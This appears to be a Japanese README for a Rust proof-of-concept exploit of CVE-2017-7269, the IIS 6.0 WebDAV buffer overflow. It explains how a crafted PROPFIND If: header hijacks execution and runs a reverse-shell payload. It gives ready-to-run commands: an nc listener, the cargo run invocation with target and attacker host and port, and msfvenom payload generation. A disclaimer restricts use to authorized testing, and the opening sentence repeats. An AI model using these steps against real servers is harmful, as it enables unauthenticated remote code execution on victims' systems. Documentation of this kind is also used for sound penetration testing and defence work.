
CVE-2017-7269のPoCをRustで実装したもので、Microsoft Internet Information Services (IIS) 6.0のWebDAVサービスを対象としています。
CVE-2017-7269のPOCのRust実装で、Microsoft Internet Information Services (IIS) 6.0のWebDAVサービスを標的としています。
CVE-2017-7269は、Windows Server 2003 R2に同梱されたMicrosoft IIS 6.0のWebDAVサービスで発見された、深刻なスタックベースのバッファオーバーフローの脆弱性です。この脆弱性を悪用すると、認証されていない攻撃者がターゲットサーバー上でリモートコード実行を達成できる可能性があります。
httpext.dll (IIS WebDAV 拡張機能)ScStoragePathFromUrlPROPFIND HTTP リクエスト。If: ヘッダー。この脆弱性は、古典的なスタックバッファオーバーフローです。ScStoragePathFromUrl 関数が悪意のある If: ヘッダーを含む PROPFIND リクエストを処理するときにトリガーされます。
このエクスプロイトは、スタック上に割り当てられたバッファをオーバーフローさせる長いバイト列を含むヘッダーを作成します。このオーバーフローにより、保存された戻りアドレス (EIP) を含む重要なスタックデータが上書きされます。エクスプロイトは、この戻りアドレスを悪意のあるヘッダー内にも存在する小さな初期シェルコードペイロードを指すように設定することで、プログラムの実行フローを乗っ取ります。この第一段階のシェルコードの役割は、同じHTTPリクエストの本文で送信されるメインペイロード (リバースシェル) を見つけて実行することです。このPOCは、cmd.exe シェルを攻撃者制御のリスナーに接続することで、リモートコード実行を実証します。
リスナーを準備する (ポートを --lport に合わせて調整):
nc -lvnp <attacker-port>
埋め込みシェルコードを使用してエクスプロイトを実行する:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
このツールは、LHOST/LPORT を使用してWSAシェルコードを即座にパッチし、HTTP本文で配信します。ターゲットが脆弱な場合、リスナーは cmd.exe からのリバースシェルを受信します。
--payload)生のペイロードを作成する
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
ペイロードを配信する (シェルコードは既にその情報をエンコードしているため、--lhost/--lport は不要):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
コールバックを処理する (以前と同じリスナーで)。バイナリは提供されたバイトを単にストリームするため、正確な動作は生成したペイロードに依存します。
このツールは、教育および許可されたペネトレーションテストの目的にのみ使用されます。責任を持って、自分が所有するシステムまたは明示的な許可を得たシステムでのみ使用してください。